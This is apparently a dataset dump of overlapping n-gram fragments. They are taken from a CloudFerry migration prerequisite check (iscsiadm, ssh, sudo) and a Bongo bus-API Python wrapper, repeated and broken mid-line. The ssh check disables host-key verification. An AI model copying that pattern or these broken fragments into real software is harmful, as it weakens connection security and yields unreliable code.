cloudferry.lib.base.action import action from cloudferry.lib.utils import local from cloudferry.lib.utils\",\n \"\\\" \\\"and correct configuration on these nodes. To verify run \\\" \\\"'{ssh_cmd}' from\",\n \"\\\" \\\"CloudFerry as root user.\\\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host\",\n \"# # Licensed under the Apache License, Version 2.0 (the \\\"License\\\"); # you\",\n \"raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host\",\n \"msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self, **kwargs): if self.cfg.dst_storage.backend != 'iscsi-vmax':\",\n \"msg = (\\\"CloudFerry is running as '{user}' user, but \\\" \\\"passwordless sudo does\",\n \"self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls') except local.LocalExecutionFailed: msg = (\\\"CloudFerry is running as\",\n \"import logging from cloudferry.lib.base import exception from cloudferry.lib.base.action import action from cloudferry.lib.utils import\",\n \"\\\"current host. Please either specify password in \\\" \\\"`local_sudo_password` config option, or run\",\n \"law or agreed to in writing, software # distributed under the License is\",\n \"the License for the specific language governing permissions and # limitations under the\",\n \"class CheckVMAXPrerequisites(action.Action): \\\"\\\"\\\"This verifies prerequisites required for NFS to VMAX iSCSI cinder volume\",\n \"\\\"destination host '{dst_host}'. Make sure you have keys \\\" \\\"and correct configuration on\",\n \"host. Please \\\" \\\"install iscsiadm tool on the node you running on or\",\n \"on an \\\"AS IS\\\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,\",\n \"\\\" \\\"choose other cinder backend for migration. iscsiadm is \\\" \\\"mandatory for migrations\",\n \"on the node you running on or \\\" \\\"choose other cinder backend for\",\n \"connectivity between source host '{src_host}' and \\\" \\\"destination host '{dst_host}'. Make sure you\",\n \"_iscsiadm_is_installed_locally(self): LOG.info(\\\"Checking if iscsiadm tool is installed\\\") try: local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed:\",\n \"to VMAX iSCSI cinder volume migration\\\"\\\"\\\" def _iscsiadm_is_installed_locally(self): LOG.info(\\\"Checking if iscsiadm tool is\",\n \"language governing permissions and # limitations under the License. import getpass import logging\",\n \"option, or run \\\" \\\"CloudFerry as root user.\\\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self):\",\n \"!= 'root' and \\\\ self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls') except local.LocalExecutionFailed: msg =\",\n \"if current_user != 'root' and \\\\ self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls') except local.LocalExecutionFailed:\",\n \"is \\\" \\\"mandatory for migrations with EMC VMAX cinder backend\\\") LOG.error(msg) raise exception.AbortMigrationError(msg)\",\n \"dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self, **kwargs): if self.cfg.dst_storage.backend != 'iscsi-vmax': return\",\n \"in compliance with the License. # You may obtain a copy of the\",\n \"License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or\",\n \"= self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\\\"Checking ssh\",\n \"# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. #\",\n \"at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed\",\n \"dst_host) rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd\",\n \"See the License for the specific language governing permissions and # limitations under\",\n \"BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\",\n \"a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required\",\n \"# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in\",\n \"\\\"'{ssh_cmd}' from '{src_host}' node\\\") msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def\",\n \"('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd = \\\"ssh {opts} {user}@{host} 'echo ok'\\\".format(opts=ssh_opts, user=dst_user,\",\n \"cinder volume migration\\\"\\\"\\\" def _iscsiadm_is_installed_locally(self): LOG.info(\\\"Checking if iscsiadm tool is installed\\\") try: local.run('iscsiadm\",\n \"connectivity between '%s' and '%s'\\\", src_host, dst_host) rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts =\",\n \"To verify run \\\" \\\"'{ssh_cmd}' from '{src_host}' node\\\") msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd)\",\n \"root user.\\\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user\",\n \"\\\" \\\"install iscsiadm tool on the node you running on or \\\" \\\"choose\",\n \"for migration. iscsiadm is \\\" \\\"mandatory for migrations with EMC VMAX cinder backend\\\")\",\n \"ssh connectivity between '%s' and '%s'\\\", src_host, dst_host) rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts\",\n \"ssh_opts = ('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd = \\\"ssh {opts} {user}@{host} 'echo\",\n \"msg = (\\\"No ssh connectivity between source host '{src_host}' and \\\" \\\"destination host\",\n \"\\\" \\\"current host. Please either specify password in \\\" \\\"`local_sudo_password` config option, or\",\n \"local from cloudferry.lib.utils import remote_runner LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \\\"\\\"\\\"This verifies prerequisites\",\n \"= remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd = \\\"ssh\",\n \"\\\" \\\"destination host '{dst_host}'. Make sure you have keys \\\" \\\"and correct configuration\",\n \"= logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \\\"\\\"\\\"This verifies prerequisites required for NFS to VMAX iSCSI\",\n \"Version 2.0 (the \\\"License\\\"); # you may not use this file except in\",\n \"except in compliance with the License. # You may obtain a copy of\",\n \"getpass import logging from cloudferry.lib.base import exception from cloudferry.lib.base.action import action from cloudferry.lib.utils\",\n \"License. import getpass import logging from cloudferry.lib.base import exception from cloudferry.lib.base.action import action\",\n \"or \\\" \\\"choose other cinder backend for migration. iscsiadm is \\\" \\\"mandatory for\",\n \"# You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0\",\n \"may not use this file except in compliance with the License. # You\",\n \"License is distributed on an \\\"AS IS\\\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS\",\n \"= getpass.getuser() if current_user != 'root' and \\\\ self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls')\",\n \"\\\" \\\"passwordless sudo does not seem to be configured on \\\" \\\"current host.\",\n \"'-o StrictHostKeyChecking=no') cmd = \\\"ssh {opts} {user}@{host} 'echo ok'\\\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd)\",\n \"None: try: local.sudo('ls') except local.LocalExecutionFailed: msg = (\\\"CloudFerry is running as '{user}' user,\",\n \"nodes. To verify run \\\" \\\"'{ssh_cmd}' from '{src_host}' node\\\") msg = msg.format(src_host=src_host, dst_host=dst_host,\",\n \"def _check_local_sudo_password_set(self): current_user = getpass.getuser() if current_user != 'root' and \\\\ self.cfg.migrate.local_sudo_password is\",\n \"password in \\\" \\\"`local_sudo_password` config option, or run \\\" \\\"CloudFerry as root user.\\\").format(user=current_user)\",\n \"logging from cloudferry.lib.base import exception from cloudferry.lib.base.action import action from cloudferry.lib.utils import local\",\n \"except local.LocalExecutionFailed: msg = (\\\"CloudFerry is running as '{user}' user, but \\\" \\\"passwordless\",\n \"volume migration\\\"\\\"\\\" def _iscsiadm_is_installed_locally(self): LOG.info(\\\"Checking if iscsiadm tool is installed\\\") try: local.run('iscsiadm --help\",\n \"src_user = self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\\\"Checking ssh connectivity between\",\n \"required for NFS to VMAX iSCSI cinder volume migration\\\"\\\"\\\" def _iscsiadm_is_installed_locally(self): LOG.info(\\\"Checking if\",\n \"msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self, **kwargs): if self.cfg.dst_storage.backend\",\n \"is not available on the local host. Please \\\" \\\"install iscsiadm tool on\",\n \"running as '{user}' user, but \\\" \\\"passwordless sudo does not seem to be\",\n \"remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd = \\\"ssh {opts}\",\n \"the License. import getpass import logging from cloudferry.lib.base import exception from cloudferry.lib.base.action import\",\n \"and # limitations under the License. import getpass import logging from cloudferry.lib.base import\",\n \"installed\\\") try: local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed: msg = (\\\"iscsiadm is not available\",\n \"cloudferry.lib.utils import remote_runner LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \\\"\\\"\\\"This verifies prerequisites required for\",\n \"LOG.info(\\\"Checking if iscsiadm tool is installed\\\") try: local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed: msg\",\n \"either specify password in \\\" \\\"`local_sudo_password` config option, or run \\\" \\\"CloudFerry as\",\n \"raise exception.AbortMigrationError(msg) def run(self, **kwargs): if self.cfg.dst_storage.backend != 'iscsi-vmax': return self._iscsiadm_is_installed_locally() self._ssh_connectivity_between_controllers() self._check_local_sudo_password_set()\",\n \"local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed: msg = (\\\"iscsiadm is not available on the\",\n \"distributed under the License is distributed on an \\\"AS IS\\\" BASIS, # WITHOUT\",\n \"'{user}' user, but \\\" \\\"passwordless sudo does not seem to be configured on\",\n \"{user}@{host} 'echo ok'\\\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg = (\\\"No ssh\",\n \"does not seem to be configured on \\\" \\\"current host. Please either specify\"\n]","isConversational":false}}},{"rowIdx":1898,"cells":{"ngram":{"kind":"list like","value":["number: endpoint = 'stop' kwargs['stopid'] = number else: endpoint = 'stoplist' return self.get(endpoint,","the data.\"\"\" if 'format' not in kwargs: kwargs['format'] = self.format url = \"http://ebongo.org/api/%s\"","= 'routelist' return self.get(endpoint, **kwargs) def routes(self): \"\"\" Same as an empty call","and tag: endpoint = 'route' kwargs['agency'] = agency kwargs['route'] = tag else: endpoint","\"\"\" Get information on a specific route, or all route listings. >>> Bongo().route('lantern',","wrapper for the Bongo Iowa City bus API. \"\"\" import requests as req","routes(self): \"\"\" Same as an empty call to the `route` method. >>> Bongo().routes()","stop number. >>> Bongo().stop(8350) {\"stop\": {\"8350\": \"information\"}} \"\"\" if number: endpoint = 'stop'","5678, 9999]} \"\"\" return self.stop() def predict(self, number, **kwargs): \"\"\" Predict the bus","stops(self): \"\"\" Same as an empty call to the `stop` method. >>> Bongo().stops()","content_type = response.headers['content-type'] if content_type == 'application/json': data = response.json elif 'stoplist' in","\"route\"}} \"\"\" if agency and tag: endpoint = 'route' kwargs['agency'] = agency kwargs['route']","= number else: endpoint = 'stoplist' return self.get(endpoint, **kwargs) def stops(self): \"\"\" Same","self.get(endpoint, **kwargs) def stops(self): \"\"\" Same as an empty call to the `stop`","= format def get(self, endpoint, **kwargs): \"\"\"Perform a HTTP GET request to the","if content_type == 'application/json': data = response.json elif 'stoplist' in response.url: # The","bus arrival times for a specific stop. >>> Bongo().predict(8350) {\"stop\": {\"8350\": \"prediction\"}} \"\"\"","City bus API. \"\"\" def __init__(self, format='json'): self.format = format def get(self, endpoint,","class Bongo(object): \"\"\" A simple Python wrapper for the Bongo Iowa City bus","= self.format url = \"http://ebongo.org/api/%s\" % (endpoint) response = req.get(url, params=kwargs) return self.convert(response)","{\"lantern\": \"route\"}} \"\"\" if agency and tag: endpoint = 'route' kwargs['agency'] = agency","method. >>> Bongo().routes() {\"routes\": [1234, 5678, 9999]} \"\"\" return self.route() def stop(self, number=None,","on the response type.\"\"\" content_type = response.headers['content-type'] if content_type == 'application/json': data =","listings. >>> Bongo().route('lantern', 'coralville') {\"coralville's\": {\"lantern\": \"route\"}} \"\"\" if agency and tag: endpoint","def stops(self): \"\"\" Same as an empty call to the `stop` method. >>>","req class Bongo(object): \"\"\" A simple Python wrapper for the Bongo Iowa City","API. \"\"\" def __init__(self, format='json'): self.format = format def get(self, endpoint, **kwargs): \"\"\"Perform","= 'route' kwargs['agency'] = agency kwargs['route'] = tag else: endpoint = 'routelist' return","'stoplist' in response.url: # The `stoplist` endpoint insists that it's HTML. data =","**kwargs): \"\"\" Retrieve information specific to a given stop number. >>> Bongo().stop(8350) {\"stop\":","specific route, or all route listings. >>> Bongo().route('lantern', 'coralville') {\"coralville's\": {\"lantern\": \"route\"}} \"\"\"","\"\"\" A simple wrapper for the Bongo Iowa City bus API. \"\"\" import","call to the `route` method. >>> Bongo().routes() {\"routes\": [1234, 5678, 9999]} \"\"\" return","\"\"\"Convert a request based on the response type.\"\"\" content_type = response.headers['content-type'] if content_type","def stop(self, number=None, **kwargs): \"\"\" Retrieve information specific to a given stop number.","as an empty call to the `route` method. >>> Bongo().routes() {\"routes\": [1234, 5678,","kwargs['route'] = tag else: endpoint = 'routelist' return self.get(endpoint, **kwargs) def routes(self): \"\"\"","call to the `stop` method. >>> Bongo().stops() {\"stops\": [1234, 5678, 9999]} \"\"\" return","route listings. >>> Bongo().route('lantern', 'coralville') {\"coralville's\": {\"lantern\": \"route\"}} \"\"\" if agency and tag:","not in kwargs: kwargs['format'] = self.format url = \"http://ebongo.org/api/%s\" % (endpoint) response =","convert(self, response): \"\"\"Convert a request based on the response type.\"\"\" content_type = response.headers['content-type']","**kwargs) def routes(self): \"\"\" Same as an empty call to the `route` method.","if 'format' not in kwargs: kwargs['format'] = self.format url = \"http://ebongo.org/api/%s\" % (endpoint)","self.convert(response) def convert(self, response): \"\"\"Convert a request based on the response type.\"\"\" content_type","self.format = format def get(self, endpoint, **kwargs): \"\"\"Perform a HTTP GET request to","9999]} \"\"\" return self.route() def stop(self, number=None, **kwargs): \"\"\" Retrieve information specific to","response type.\"\"\" content_type = response.headers['content-type'] if content_type == 'application/json': data = response.json elif","if agency and tag: endpoint = 'route' kwargs['agency'] = agency kwargs['route'] = tag","insists that it's HTML. data = response.json else: data = response.content return data","Iowa City bus API. \"\"\" import requests as req class Bongo(object): \"\"\" A","an empty call to the `stop` method. >>> Bongo().stops() {\"stops\": [1234, 5678, 9999]}","\"\"\"Perform a HTTP GET request to the API and return the data.\"\"\" if","return self.stop() def predict(self, number, **kwargs): \"\"\" Predict the bus arrival times for","data.\"\"\" if 'format' not in kwargs: kwargs['format'] = self.format url = \"http://ebongo.org/api/%s\" %","request based on the response type.\"\"\" content_type = response.headers['content-type'] if content_type == 'application/json':","'application/json': data = response.json elif 'stoplist' in response.url: # The `stoplist` endpoint insists","response.headers['content-type'] if content_type == 'application/json': data = response.json elif 'stoplist' in response.url: #","stop(self, number=None, **kwargs): \"\"\" Retrieve information specific to a given stop number. >>>","simple Python wrapper for the Bongo Iowa City bus API. \"\"\" def __init__(self,","HTML. data = response.json else: data = response.content return data def route(self, tag=None,","return self.route() def stop(self, number=None, **kwargs): \"\"\" Retrieve information specific to a given","return data def route(self, tag=None, agency=None, **kwargs): \"\"\" Get information on a specific","return self.convert(response) def convert(self, response): \"\"\"Convert a request based on the response type.\"\"\"","requests as req class Bongo(object): \"\"\" A simple Python wrapper for the Bongo","\"\"\" return self.route() def stop(self, number=None, **kwargs): \"\"\" Retrieve information specific to a","{\"8350\": \"information\"}} \"\"\" if number: endpoint = 'stop' kwargs['stopid'] = number else: endpoint","to the `stop` method. >>> Bongo().stops() {\"stops\": [1234, 5678, 9999]} \"\"\" return self.stop()","{\"stops\": [1234, 5678, 9999]} \"\"\" return self.stop() def predict(self, number, **kwargs): \"\"\" Predict","to the API and return the data.\"\"\" if 'format' not in kwargs: kwargs['format']","data = response.content return data def route(self, tag=None, agency=None, **kwargs): \"\"\" Get information","= \"http://ebongo.org/api/%s\" % (endpoint) response = req.get(url, params=kwargs) return self.convert(response) def convert(self, response):","\"\"\" def __init__(self, format='json'): self.format = format def get(self, endpoint, **kwargs): \"\"\"Perform a","tag else: endpoint = 'routelist' return self.get(endpoint, **kwargs) def routes(self): \"\"\" Same as","self.format url = \"http://ebongo.org/api/%s\" % (endpoint) response = req.get(url, params=kwargs) return self.convert(response) def","return self.get(endpoint, **kwargs) def stops(self): \"\"\" Same as an empty call to the","the bus arrival times for a specific stop. >>> Bongo().predict(8350) {\"stop\": {\"8350\": \"prediction\"}}","as an empty call to the `stop` method. >>> Bongo().stops() {\"stops\": [1234, 5678,","in response.url: # The `stoplist` endpoint insists that it's HTML. data = response.json","{\"stop\": {\"8350\": \"prediction\"}} \"\"\" endpoint = 'prediction' kwargs['stopid'] = number return self.get(endpoint, **kwargs)","**kwargs): \"\"\"Perform a HTTP GET request to the API and return the data.\"\"\"","\"\"\" import requests as req class Bongo(object): \"\"\" A simple Python wrapper for","Bongo(object): \"\"\" A simple Python wrapper for the Bongo Iowa City bus API.","Bongo Iowa City bus API. \"\"\" def __init__(self, format='json'): self.format = format def","5678, 9999]} \"\"\" return self.route() def stop(self, number=None, **kwargs): \"\"\" Retrieve information specific","API and return the data.\"\"\" if 'format' not in kwargs: kwargs['format'] = self.format","Bongo().route('lantern', 'coralville') {\"coralville's\": {\"lantern\": \"route\"}} \"\"\" if agency and tag: endpoint = 'route'","= agency kwargs['route'] = tag else: endpoint = 'routelist' return self.get(endpoint, **kwargs) def","specific stop. >>> Bongo().predict(8350) {\"stop\": {\"8350\": \"prediction\"}} \"\"\" endpoint = 'prediction' kwargs['stopid'] =","endpoint = 'routelist' return self.get(endpoint, **kwargs) def routes(self): \"\"\" Same as an empty","def __init__(self, format='json'): self.format = format def get(self, endpoint, **kwargs): \"\"\"Perform a HTTP","it's HTML. data = response.json else: data = response.content return data def route(self,","params=kwargs) return self.convert(response) def convert(self, response): \"\"\"Convert a request based on the response","kwargs['stopid'] = number else: endpoint = 'stoplist' return self.get(endpoint, **kwargs) def stops(self): \"\"\"","GET request to the API and return the data.\"\"\" if 'format' not in","a HTTP GET request to the API and return the data.\"\"\" if 'format'","= 'stop' kwargs['stopid'] = number else: endpoint = 'stoplist' return self.get(endpoint, **kwargs) def","9999]} \"\"\" return self.stop() def predict(self, number, **kwargs): \"\"\" Predict the bus arrival","all route listings. >>> Bongo().route('lantern', 'coralville') {\"coralville's\": {\"lantern\": \"route\"}} \"\"\" if agency and","number, **kwargs): \"\"\" Predict the bus arrival times for a specific stop. >>>","\"\"\" Same as an empty call to the `stop` method. >>> Bongo().stops() {\"stops\":","times for a specific stop. >>> Bongo().predict(8350) {\"stop\": {\"8350\": \"prediction\"}} \"\"\" endpoint =","that it's HTML. data = response.json else: data = response.content return data def","data = response.json else: data = response.content return data def route(self, tag=None, agency=None,","Iowa City bus API. \"\"\" def __init__(self, format='json'): self.format = format def get(self,","as req class Bongo(object): \"\"\" A simple Python wrapper for the Bongo Iowa","Bongo().stop(8350) {\"stop\": {\"8350\": \"information\"}} \"\"\" if number: endpoint = 'stop' kwargs['stopid'] = number","return the data.\"\"\" if 'format' not in kwargs: kwargs['format'] = self.format url =","the response type.\"\"\" content_type = response.headers['content-type'] if content_type == 'application/json': data = response.json","\"\"\" A simple Python wrapper for the Bongo Iowa City bus API. \"\"\"","\"information\"}} \"\"\" if number: endpoint = 'stop' kwargs['stopid'] = number else: endpoint =","req.get(url, params=kwargs) return self.convert(response) def convert(self, response): \"\"\"Convert a request based on the","given stop number. >>> Bongo().stop(8350) {\"stop\": {\"8350\": \"information\"}} \"\"\" if number: endpoint =","self.stop() def predict(self, number, **kwargs): \"\"\" Predict the bus arrival times for a","the `stop` method. >>> Bongo().stops() {\"stops\": [1234, 5678, 9999]} \"\"\" return self.stop() def","for the Bongo Iowa City bus API. \"\"\" def __init__(self, format='json'): self.format =","endpoint, **kwargs): \"\"\"Perform a HTTP GET request to the API and return the","to the `route` method. >>> Bongo().routes() {\"routes\": [1234, 5678, 9999]} \"\"\" return self.route()","to a given stop number. >>> Bongo().stop(8350) {\"stop\": {\"8350\": \"information\"}} \"\"\" if number:","Predict the bus arrival times for a specific stop. >>> Bongo().predict(8350) {\"stop\": {\"8350\":","method. >>> Bongo().stops() {\"stops\": [1234, 5678, 9999]} \"\"\" return self.stop() def predict(self, number,","arrival times for a specific stop. >>> Bongo().predict(8350) {\"stop\": {\"8350\": \"prediction\"}} \"\"\" endpoint","the API and return the data.\"\"\" if 'format' not in kwargs: kwargs['format'] =","API. \"\"\" import requests as req class Bongo(object): \"\"\" A simple Python wrapper","self.route() def stop(self, number=None, **kwargs): \"\"\" Retrieve information specific to a given stop","predict(self, number, **kwargs): \"\"\" Predict the bus arrival times for a specific stop.","number. >>> Bongo().stop(8350) {\"stop\": {\"8350\": \"information\"}} \"\"\" if number: endpoint = 'stop' kwargs['stopid']","Python wrapper for the Bongo Iowa City bus API. \"\"\" def __init__(self, format='json'):","def route(self, tag=None, agency=None, **kwargs): \"\"\" Get information on a specific route, or","Get information on a specific route, or all route listings. >>> Bongo().route('lantern', 'coralville')","response.json else: data = response.content return data def route(self, tag=None, agency=None, **kwargs): \"\"\"","empty call to the `route` method. >>> Bongo().routes() {\"routes\": [1234, 5678, 9999]} \"\"\"","simple wrapper for the Bongo Iowa City bus API. \"\"\" import requests as","[1234, 5678, 9999]} \"\"\" return self.stop() def predict(self, number, **kwargs): \"\"\" Predict the",">>> Bongo().stops() {\"stops\": [1234, 5678, 9999]} \"\"\" return self.stop() def predict(self, number, **kwargs):","number else: endpoint = 'stoplist' return self.get(endpoint, **kwargs) def stops(self): \"\"\" Same as","in kwargs: kwargs['format'] = self.format url = \"http://ebongo.org/api/%s\" % (endpoint) response = req.get(url,","Retrieve information specific to a given stop number. >>> Bongo().stop(8350) {\"stop\": {\"8350\": \"information\"}}","a specific route, or all route listings. >>> Bongo().route('lantern', 'coralville') {\"coralville's\": {\"lantern\": \"route\"}}","tag: endpoint = 'route' kwargs['agency'] = agency kwargs['route'] = tag else: endpoint =","response.content return data def route(self, tag=None, agency=None, **kwargs): \"\"\" Get information on a","= response.headers['content-type'] if content_type == 'application/json': data = response.json elif 'stoplist' in response.url:","information specific to a given stop number. >>> Bongo().stop(8350) {\"stop\": {\"8350\": \"information\"}} \"\"\"","= 'stoplist' return self.get(endpoint, **kwargs) def stops(self): \"\"\" Same as an empty call","Same as an empty call to the `route` method. >>> Bongo().routes() {\"routes\": [1234,","kwargs['agency'] = agency kwargs['route'] = tag else: endpoint = 'routelist' return self.get(endpoint, **kwargs)","(endpoint) response = req.get(url, params=kwargs) return self.convert(response) def convert(self, response): \"\"\"Convert a request","return self.get(endpoint, **kwargs) def routes(self): \"\"\" Same as an empty call to the","empty call to the `stop` method. >>> Bongo().stops() {\"stops\": [1234, 5678, 9999]} \"\"\"","**kwargs): \"\"\" Get information on a specific route, or all route listings. >>>","% (endpoint) response = req.get(url, params=kwargs) return self.convert(response) def convert(self, response): \"\"\"Convert a","{\"stop\": {\"8350\": \"information\"}} \"\"\" if number: endpoint = 'stop' kwargs['stopid'] = number else:","else: data = response.content return data def route(self, tag=None, agency=None, **kwargs): \"\"\" Get","an empty call to the `route` method. >>> Bongo().routes() {\"routes\": [1234, 5678, 9999]}","Bongo().routes() {\"routes\": [1234, 5678, 9999]} \"\"\" return self.route() def stop(self, number=None, **kwargs): \"\"\"","'coralville') {\"coralville's\": {\"lantern\": \"route\"}} \"\"\" if agency and tag: endpoint = 'route' kwargs['agency']","\"\"\" Same as an empty call to the `route` method. >>> Bongo().routes() {\"routes\":","[1234, 5678, 9999]} \"\"\" return self.route() def stop(self, number=None, **kwargs): \"\"\" Retrieve information","a request based on the response type.\"\"\" content_type = response.headers['content-type'] if content_type ==","`stop` method. >>> Bongo().stops() {\"stops\": [1234, 5678, 9999]} \"\"\" return self.stop() def predict(self,","<reponame>codeforamerica/bongo \"\"\" A simple wrapper for the Bongo Iowa City bus API. \"\"\"","for the Bongo Iowa City bus API. \"\"\" import requests as req class","**kwargs): \"\"\" Predict the bus arrival times for a specific stop. >>> Bongo().predict(8350)","or all route listings. >>> Bongo().route('lantern', 'coralville') {\"coralville's\": {\"lantern\": \"route\"}} \"\"\" if agency","get(self, endpoint, **kwargs): \"\"\"Perform a HTTP GET request to the API and return","data = response.json elif 'stoplist' in response.url: # The `stoplist` endpoint insists that","the `route` method. >>> Bongo().routes() {\"routes\": [1234, 5678, 9999]} \"\"\" return self.route() def","response = req.get(url, params=kwargs) return self.convert(response) def convert(self, response): \"\"\"Convert a request based","kwargs['format'] = self.format url = \"http://ebongo.org/api/%s\" % (endpoint) response = req.get(url, params=kwargs) return","\"\"\" return self.stop() def predict(self, number, **kwargs): \"\"\" Predict the bus arrival times","for a specific stop. >>> Bongo().predict(8350) {\"stop\": {\"8350\": \"prediction\"}} \"\"\" endpoint = 'prediction'","# The `stoplist` endpoint insists that it's HTML. data = response.json else: data",">>> Bongo().routes() {\"routes\": [1234, 5678, 9999]} \"\"\" return self.route() def stop(self, number=None, **kwargs):","Same as an empty call to the `stop` method. >>> Bongo().stops() {\"stops\": [1234,","def convert(self, response): \"\"\"Convert a request based on the response type.\"\"\" content_type =","on a specific route, or all route listings. >>> Bongo().route('lantern', 'coralville') {\"coralville's\": {\"lantern\":","\"\"\" if agency and tag: endpoint = 'route' kwargs['agency'] = agency kwargs['route'] =","Bongo().predict(8350) {\"stop\": {\"8350\": \"prediction\"}} \"\"\" endpoint = 'prediction' kwargs['stopid'] = number return self.get(endpoint,","\"\"\" Retrieve information specific to a given stop number. >>> Bongo().stop(8350) {\"stop\": {\"8350\":","kwargs: kwargs['format'] = self.format url = \"http://ebongo.org/api/%s\" % (endpoint) response = req.get(url, params=kwargs)","agency=None, **kwargs): \"\"\" Get information on a specific route, or all route listings.","HTTP GET request to the API and return the data.\"\"\" if 'format' not","bus API. \"\"\" def __init__(self, format='json'): self.format = format def get(self, endpoint, **kwargs):","= tag else: endpoint = 'routelist' return self.get(endpoint, **kwargs) def routes(self): \"\"\" Same","`route` method. >>> Bongo().routes() {\"routes\": [1234, 5678, 9999]} \"\"\" return self.route() def stop(self,","else: endpoint = 'stoplist' return self.get(endpoint, **kwargs) def stops(self): \"\"\" Same as an","agency and tag: endpoint = 'route' kwargs['agency'] = agency kwargs['route'] = tag else:","'routelist' return self.get(endpoint, **kwargs) def routes(self): \"\"\" Same as an empty call to","endpoint = 'stoplist' return self.get(endpoint, **kwargs) def stops(self): \"\"\" Same as an empty","def predict(self, number, **kwargs): \"\"\" Predict the bus arrival times for a specific","= response.content return data def route(self, tag=None, agency=None, **kwargs): \"\"\" Get information on","response.json elif 'stoplist' in response.url: # The `stoplist` endpoint insists that it's HTML.","A simple wrapper for the Bongo Iowa City bus API. \"\"\" import requests",">>> Bongo().stop(8350) {\"stop\": {\"8350\": \"information\"}} \"\"\" if number: endpoint = 'stop' kwargs['stopid'] =","a specific stop. >>> Bongo().predict(8350) {\"stop\": {\"8350\": \"prediction\"}} \"\"\" endpoint = 'prediction' kwargs['stopid']",">>> Bongo().route('lantern', 'coralville') {\"coralville's\": {\"lantern\": \"route\"}} \"\"\" if agency and tag: endpoint =","wrapper for the Bongo Iowa City bus API. \"\"\" def __init__(self, format='json'): self.format","content_type == 'application/json': data = response.json elif 'stoplist' in response.url: # The `stoplist`","= response.json elif 'stoplist' in response.url: # The `stoplist` endpoint insists that it's","type.\"\"\" content_type = response.headers['content-type'] if content_type == 'application/json': data = response.json elif 'stoplist'","{\"coralville's\": {\"lantern\": \"route\"}} \"\"\" if agency and tag: endpoint = 'route' kwargs['agency'] =","elif 'stoplist' in response.url: # The `stoplist` endpoint insists that it's HTML. data","tag=None, agency=None, **kwargs): \"\"\" Get information on a specific route, or all route","`stoplist` endpoint insists that it's HTML. data = response.json else: data = response.content","route, or all route listings. >>> Bongo().route('lantern', 'coralville') {\"coralville's\": {\"lantern\": \"route\"}} \"\"\" if","agency kwargs['route'] = tag else: endpoint = 'routelist' return self.get(endpoint, **kwargs) def routes(self):","== 'application/json': data = response.json elif 'stoplist' in response.url: # The `stoplist` endpoint","response.url: # The `stoplist` endpoint insists that it's HTML. data = response.json else:","Bongo Iowa City bus API. \"\"\" import requests as req class Bongo(object): \"\"\"","City bus API. \"\"\" import requests as req class Bongo(object): \"\"\" A simple","format def get(self, endpoint, **kwargs): \"\"\"Perform a HTTP GET request to the API","Bongo().stops() {\"stops\": [1234, 5678, 9999]} \"\"\" return self.stop() def predict(self, number, **kwargs): \"\"\"","\"\"\" if number: endpoint = 'stop' kwargs['stopid'] = number else: endpoint = 'stoplist'","'format' not in kwargs: kwargs['format'] = self.format url = \"http://ebongo.org/api/%s\" % (endpoint) response","import requests as req class Bongo(object): \"\"\" A simple Python wrapper for the","request to the API and return the data.\"\"\" if 'format' not in kwargs:","bus API. \"\"\" import requests as req class Bongo(object): \"\"\" A simple Python","endpoint = 'stop' kwargs['stopid'] = number else: endpoint = 'stoplist' return self.get(endpoint, 